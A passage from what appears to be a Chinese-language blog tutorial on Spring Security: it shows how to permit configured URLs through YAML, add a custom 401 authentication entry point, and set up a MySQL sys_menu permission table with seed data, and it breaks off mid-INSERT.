class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WebSecurityConfig</span> <span class="keyword">extends</span> <span class="title class_">WebSecurityConfigurerAdapter</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">configure</span><span class="params">(HttpSecurity http)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// @formatter:off</span></span><br><span class="line">        http</span><br><span class="line">                .authorizeRequests()</span><br><span class="line">                <span class="comment">// 跨域检测</span></span><br><span class="line">                .antMatchers(HttpMethod.OPTIONS, <span class="string">&quot;/**&quot;</span>).permitAll()</span><br><span class="line">                <span class="comment">// 放行的url</span></span><br><span class="line">                .antMatchers(<span class="string">&quot;/v3/api-docs/**&quot;</span>, <span class="string">&quot;/webjars/**&quot;</span>, <span class="string">&quot;/druid/**&quot;</span>, <span class="string">&quot;/configuration/ui&quot;</span>, <span class="string">&quot;/swagger-resources/**&quot;</span>, <span class="string">&quot;/css/**&quot;</span>, <span class="string">&quot;/js/**&quot;</span>, <span class="string">&quot;/plugins/**&quot;</span>, <span class="string">&quot;/favicon.ico&quot;</span>, <span class="string">&quot;/doc.html&quot;</span>, <span class="string">&quot;/static/**&quot;</span>).permitAll()</span><br><span class="line">                <span class="comment">// 对任何请求都进行权限验证</span></span><br><span class="line">                .anyRequest().authenticated()</span><br><span class="line">        ;</span><br><span class="line">        <span class="comment">// @formatter:on</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/d277c2a17bf657778605feab47a593f2.png" alt="image-20230201141211528"></p><h5 id="将写死的需要放开的url添加至yml中">将写死的需要放开的url添加至yml中</h5><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 配置的url</span></span><br><span class="line"><span class="attr">security:</span></span><br><span class="line">  <span class="attr">ignore-urls:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/v3/api-docs/**</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/doc.html</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/webjars/**</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/druid/**</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/static/**</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/configuration/ui</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/swagger-resources/**</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 获取配置url内容</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="meta">@ConditionalOnExpression(&quot;!&#x27;$&#123;security.ignore-urls&#125;&#x27;.isEmpty()&quot;)</span></span><br><span class="line"><span class="meta">@ConfigurationProperties(prefix = &quot;security&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PermitAllUrlProperties</span> <span class="keyword">implements</span> <span class="title class_">InitializingBean</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Pattern</span> <span class="variable">PATTERN</span> <span class="operator">=</span> Pattern.compile(<span class="string">&quot;\\&#123;(.*?)\\&#125;&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> WebApplicationContext applicationContext;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Getter</span></span><br><span class="line">    <span class="meta">@Setter</span></span><br><span class="line">    <span class="keyword">private</span> List&lt;String&gt; ignoreUrls = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">afterPropertiesSet</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">RequestMappingHandlerMapping</span> <span class="variable">mapping</span> <span class="operator">=</span> applicationContext.getBean(RequestMappingHandlerMapping.class);</span><br><span class="line">        Map&lt;RequestMappingInfo, HandlerMethod&gt; map = mapping.getHandlerMethods();</span><br><span class="line"></span><br><span class="line">        map.keySet().forEach(info -&gt; &#123;</span><br><span class="line">            <span class="type">HandlerMethod</span> <span class="variable">handlerMethod</span> <span class="operator">=</span> map.get(info);</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 在开放配置中添加上述配置的url</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableWebSecurity</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WebSecurityConfig</span> <span class="keyword">extends</span> <span class="title class_">WebSecurityConfigurerAdapter</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> PermitAllUrlProperties permitAllUrlProperties;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">configure</span><span class="params">(HttpSecurity http)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// @formatter:off</span></span><br><span class="line">        <span class="comment">// 防止iframe内容无法展示</span></span><br><span class="line">        http.headers().frameOptions().disable();</span><br><span class="line">        ExpressionUrlAuthorizationConfigurer&lt;HttpSecurity&gt;</span><br><span class="line">                .<span class="type">ExpressionInterceptUrlRegistry</span> <span class="variable">registry</span> <span class="operator">=</span> http</span><br><span class="line">                .authorizeRequests();</span><br><span class="line">        <span class="comment">// 跨域检测</span></span><br><span class="line">        registry.antMatchers(HttpMethod.OPTIONS, <span class="string">&quot;/**&quot;</span>).permitAll();</span><br><span class="line">        <span class="comment">// 忽略鉴权的请求</span></span><br><span class="line">        permitAllUrlProperties.getIgnoreUrls().forEach(ignoreUrl -&gt; registry.antMatchers(ignoreUrl).permitAll());</span><br><span class="line">        <span class="comment">// 对任何请求都进行权限验证</span></span><br><span class="line">        registry.anyRequest().authenticated()</span><br><span class="line">                .and().csrf().disable();</span><br><span class="line">        <span class="comment">// @formatter:on</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h5 id="自定义权限验证提示编码和提示文字">自定义权限验证提示编码和提示文字</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 枚举异常code</span></span><br><span class="line"><span class="meta">@Getter</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="meta">@ApiModel(description = &quot;自定义异常code&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">SystemCode</span> <span class="keyword">implements</span> <span class="title class_">IResultCode</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 自定义异常code枚举</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    FORBIDDEN_401(<span class="number">401</span>, <span class="string">&quot;没有访问权限&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * code编码</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">int</span> code;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 中文信息描述</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String msg;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 处理权限验证失败的处理类</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Http401AuthenticationEntryPoint</span> <span class="keyword">implements</span> <span class="title class_">AuthenticationEntryPoint</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">commence</span><span class="params">(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException)</span> <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        ResponseUtil.out(response, R.fail(SystemCode.FORBIDDEN_401));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 将自定义处理添加至配置中</span></span><br><span class="line">http.exceptionHandling().authenticationEntryPoint(<span class="keyword">new</span> <span class="title class_">Http401AuthenticationEntryPoint</span>());</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/7dbf304076b2977703179080f93e3be2.png" alt="image-20230201151758035"></p><h5 id="与数据库联动">与数据库联动</h5><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SET</span> NAMES utf8mb4;</span><br><span class="line"><span class="keyword">SET</span> FOREIGN_KEY_CHECKS <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="comment">-- Table structure for sys_menu</span></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="keyword">DROP</span> <span class="keyword">TABLE</span> IF <span class="keyword">EXISTS</span> `sys_menu`;</span><br><span class="line"><span class="keyword">CREATE TABLE</span> `sys_menu`  (</span><br><span class="line">  `menu_id` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">NOT NULL</span> AUTO_INCREMENT COMMENT <span class="string">&#x27;菜单ID&#x27;</span>,</span><br><span class="line">  `name` <span class="type">varchar</span>(<span class="number">32</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `permission` <span class="type">varchar</span>(<span class="number">32</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `path` <span class="type">varchar</span>(<span class="number">128</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `parent_id` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;父菜单ID&#x27;</span>,</span><br><span class="line">  `icon` <span class="type">varchar</span>(<span class="number">32</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `sort` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="number">1</span> COMMENT <span class="string">&#x27;排序值&#x27;</span>,</span><br><span class="line">  `keep_alive` <span class="type">char</span>(<span class="number">1</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;0&#x27;</span>,</span><br><span class="line">  `type` <span class="type">char</span>(<span class="number">1</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;0&#x27;</span>,</span><br><span class="line">  `create_time` datetime(<span class="number">0</span>) <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span>(<span class="number">0</span>) COMMENT <span class="string">&#x27;创建时间&#x27;</span>,</span><br><span class="line">  `update_time` datetime(<span class="number">0</span>) <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> <span class="keyword">ON</span> <span class="keyword">UPDATE</span> <span class="built_in">CURRENT_TIMESTAMP</span>(<span class="number">0</span>) COMMENT <span class="string">&#x27;更新时间&#x27;</span>,</span><br><span class="line">  `del_flag` <span class="type">char</span>(<span class="number">1</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;0&#x27;</span>,</span><br><span class="line">  <span class="keyword">PRIMARY KEY</span> (`menu_id`) <span class="keyword">USING</span> BTREE</span><br><span class="line">) ENGINE <span class="operator">=</span> InnoDB AUTO_INCREMENT <span class="operator">=</span> <span class="number">10013</span> <span class="keyword">CHARACTER SET</span> <span class="operator">=</span> utf8mb4 <span class="keyword">COLLATE</span> <span class="operator">=</span> utf8mb4_general_ci COMMENT <span class="operator">=</span> <span class="string">&#x27;菜单权限表&#x27;</span> ROW_FORMAT <span class="operator">=</span> <span class="keyword">Dynamic</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="comment">-- Records of sys_menu</span></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1000</span>, <span class="string">&#x27;权限管理&#x27;</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;/user&#x27;</span>, <span class="number">-1</span>, <span class="string">&#x27;icon-quanxianguanli&#x27;</span>, <span class="number">0</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1100</span>, <span class="string">&#x27;用户管理&#x27;</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;/admin/user/index&#x27;</span>, <span class="number">1000</span>, <span class="string">&#x27;icon-yonghuguanli&#x27;</span>, <span class="number">1</span>, <span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:38:50&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1101</span>, <span class="string">&#x27;用户新增&#x27;</span>, <span class="string">&#x27;sys_user_add&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1100</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:38:54&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1102</span>, <span class="string">&#x27;用户修改&#x27;</span>, <span class="string">&#x27;sys_user_edit&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1100</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:38:54&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1103</span>, <span class="string">&#x27;用户删除&#x27;</span>, <span class="string">&#x27;sys_user_del&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1100</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:38:54&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1200</span>, <span class="string">&#x27;菜单管理&#x27;</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;/admin/menu/index&#x27;</span>, <span class="number">1000</span>, <span class="string">&#x27;icon-caidanguanli&#x27;</span>, <span class="number">2</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:39&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1201</span>, <span class="string">&#x27;菜单新增&#x27;</span>, <span class="string">&#x27;sys_menu_add&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1200</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:17&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1202</span>, <span class="string">&#x27;菜单修改&#x27;</span>, <span class="string">&#x27;sys_menu_edit&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1200</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:17&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1203</span>, <span class="string">&#x27;菜单删除&#x27;</span>, <span class="string">&#x27;sys_menu_del&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1200</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:17&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1300</span>, <span class="string">&#x27;角色管理&#x27;</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;/admin/role/index&#x27;</span>, <span class="number">1000</span>, <span class="string">&#x27;icon-jiaoseguanli&#x27;</span>, <span class="number">3</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:38&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1301</span>, <span class="string">&#x27;角色新增&#x27;</span>, <span class="string">&#x27;sys_role_add&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1300</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:20&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1302</span>, <span class="string">&#x27;角色修改&#x27;</span>, <span class="string">&#x27;sys_role_edit&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1300</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:20&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1303</span>, <span class="string">&#x27;角色删除&#x27;</span>, <span class="string">&#x27;sys_role_del&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1300</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:20&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1304</span>, <span class="string">&#x27;分配权限&#x27;</span>, <span class="string">&#x27;sys_role_perm&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1300</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:20&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1400</span>, <span class="string">&#x27;部门管理&#x27;</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;/admin/dept/index&#x27;</span>, <span class="number">1000</span>, <span class="string">&#x27;icon-web-icon-&#x27;</span>, <span class="number">4</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:36&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1401</span>, <span class="string">&#x27;部门新增&#x27;</span>, <span class="string">&#x27;sys_dept_add&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1400</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:22&#x27;</span>, <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> `sys_menu` <span class="keyword">VALUES</span> (<span class="number">1402</span>, <span class="string">&#x27;部门修改&#x27;</span>, <span class="string">&#x27;sys_dept_edit&#x27;</span>, <span class="keyword">NULL</span>, <span class="number">1400</span>, <span class="keyword">NULL</span>, <span class="keyword">NULL</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;2023-02-01 08:29:53&#x27;</span>, <span class="string">&#x27;2023-02-02 09:39:23&#x27;</span>, <span 